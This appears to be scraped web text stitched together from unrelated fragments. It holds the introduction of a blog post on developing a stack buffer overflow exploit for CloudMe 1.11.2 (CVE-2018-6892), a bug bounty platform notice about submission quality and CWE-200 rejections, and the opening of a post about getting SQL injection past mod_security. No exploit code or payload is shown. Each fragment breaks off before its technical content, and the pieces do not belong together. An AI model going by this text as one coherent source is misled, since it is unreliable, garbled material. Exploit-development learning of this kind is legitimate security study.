Windows Stack Buffer Overflow in a real life app — Exploit development — CloudMe_1.11.2 Buffer Overflow-CVE-2018–6892

CloudMe 1.11.2 Buffer OverFlow – Exploit Development.

Twitter : febinrev

In this Post , I am gonna demonstrate windows Stack buffer overflow and exploit development in CloudMe 1.11.2 .

CloudMe is a cloud storage service. This buffer overflow vulnerability was patched and the exploit is released publicly in 2018 (CVE-2018–6892).

This is a Local Privilege Escalation Vulnerability

This demo will help guys who are preparing for OSCP or equivalent Certifications and also help guys (like me!) who wanna learn advanced hacking and exploit development. There are some executables/apps like “vulnserver” that are intentionally built to be vulnerable for educational purposes, but this is a real life application. So, basically we are developing a real exploit and attacking a real app.

Lets Go!

Higher Submissions Quality Standard


We are happy to be included into the top 5 most promising bug bounty programs of 2021 by the TheHackerNews:

The recognition, however, comes with the responsibility – an inalienable part of our project. During the last days we received several complaints about automated submissions of irrelevant findings such as WordPress XMMRPC file existence. The value of such submissions for website owners is at least questionable.

Therefore, as of today, all CWE-200 submissions without practical value – including phpinfo pages – will be rejected and deleted. You may still submit them within the scope of the running bug bounty programs – if the website owner expressly marked that s/he wishes to get such submissions.

We also remind that the purpose of our project is quality of the submissions, not their quantity. All usage of automated tools will lead to account suspension – let’s bring value to the website owners and suitably support their efforts to secure their websites!

Looking for vulnerable pages I came across a website that, after spending a little time on it, I realized that it could be vulnerable to sql injections, then I realized that it was “protected” with mod_security and decided to see if I could skip the waf.

I share how I did it …
